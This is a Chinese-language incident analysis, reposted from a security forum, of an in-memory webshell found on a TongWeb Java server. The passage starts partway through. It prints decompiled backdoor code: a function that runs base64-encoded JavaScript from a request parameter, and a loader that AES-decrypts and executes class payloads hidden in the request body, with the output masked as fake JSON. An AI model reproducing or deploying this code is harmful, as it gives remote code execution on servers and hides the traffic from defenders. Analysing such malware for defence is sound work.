反射getDeclaredMethod("a" + 02函数执行

当结尾03时:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961."03"
反射getDeclaredMethod("a" + 03函数执行

a01函数分析,普普通通的返回json,可作为心跳包,验证的一个点。

 public void a01(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
        PrintWriter var4 = var2.getWriter();
        var4.println("{\"version\":\"1.0.0\"}");
        var4.flush();
        var4.close();
    }

a02函数分析,一句话木马,username eval(username)

public void a02(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
        PrintWriter var4 = var2.getWriter();
        ScriptEngine var5 = (new ScriptEngineManager()).getEngineByName("js");
        var5.put("request", var1);
        var5.put("response", var2);
        try {
            var4.println(var5.eval(new String(base64Decode(var1.getParameter("username").getBytes()))).toString());
        } catch (ScriptException var7) {
        }
        var4.flush();
        var4.close();
    }

a03函数分析,获取请求体中的json参数,

 public void a03(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
        try {
            Object var4 = null;
            byte[] var5;
            byte[] var10;
            if (var1.getParameter("json") != null) {//检测json函数存在吗
                var10 = var1.getParameter("json").getBytes();  //存在则使用json参数传参
            } else { //不存在则直接读取RAW格式,返回
                var5 = new byte[102400];
                ByteArrayOutputStream var6 = new ByteArrayOutputStream();
                boolean var7 = false;
                ServletInputStream var8 = var1.getInputStream();
                while(true) {
                    int var11;
                    if ((var11 = var8.read(var5)) <= 0) {
                        var10 = var6.toByteArray();
                        break;
                    }
                    var6.write(var5, 0, var11);
                }
            }
            var5 = this.a033(var10);  //调用a33函数
            var2.setStatus(200);
            var2.setHeader("Content-Type", "application/json;charset=utf-8;");
            var2.getOutputStream().write(var5);  //a03执行后,拼接正常数据返回
            var2.getOutputStream().flush();
            var2.getOutputStream().close();
        } catch (Exception var9) {
        }
    }

 a033函数分析,

public byte[] a033(byte[] var1) throws Exception {
    // 1. 截取加密数据(避开固定头尾)
    byte[] var2 = new byte[var1.length - 337];
    System.arraycopy(var1, 281, var2, 0, var2.length);
    // 2. 多层解密
    var1 = unHex(var2);        // HEX解码
    var1 = aes128(var1, 2);    // AES解密 (Cipher.DECRYPT_MODE=2)
    // 3. 动态类加载
    if (service == null) {
        service = loader(var1); // 加载恶意类
        return null;
    }
    // 4. 执行恶意类
    ByteArrayOutputStream var3 = new ByteArrayOutputStream();
    Object var4 = service.newInstance();
    var4.equals(var3);  // 传递输出流
    var4.equals(var1);  // 传递输入数据
    var4.toString();    // 触发恶意操作
    // 5. 处理并混淆结果
    byte[] var5 = var3.toByteArray();
    var5 = xor(var5);       // XOR混淆
    var5 = base64Encode(var5); // Base64编码
    // 6. 封装合法JSON
    var3.write(base64Decode("eyJyZXNwb25zZUNvbnRleHQiOnsi~~省略".getBytes()));
    var3.write(var5);
    var3.write(base64Decode("IiwidXBkYXRlTm90aWZpY2F0aW9uc1Vuc2VlbkNvdW50QWN0aW9uIjp7~~省略".getBytes()));
    return var3.toByteArray();
}

解密base64分析,返回体,返回体大概是这样子的

HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8;
{
  "responseContext": {...},
  "actions": [
    {
      "clickTrackingParams": "gASVDAAAAAAAAACMBGF...", //返回的数据,拼接内存马的返回
      ...
    }
  ]

总结

这次内存马水平超级吊,分了两次打入,判断UA字段实现木马的功能区分,实际在之前还有一次测试的攻击,目的为了测试我们的系统是否兼容大佬的内存马,整个思路很清奇,纯粹的攻击

原文链接

https://www.t00ls.com/articles-73954.html

 

阅读原文

跳转微信打开

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

TongWeb 内存马 JSP Filter 安全防护
相关文章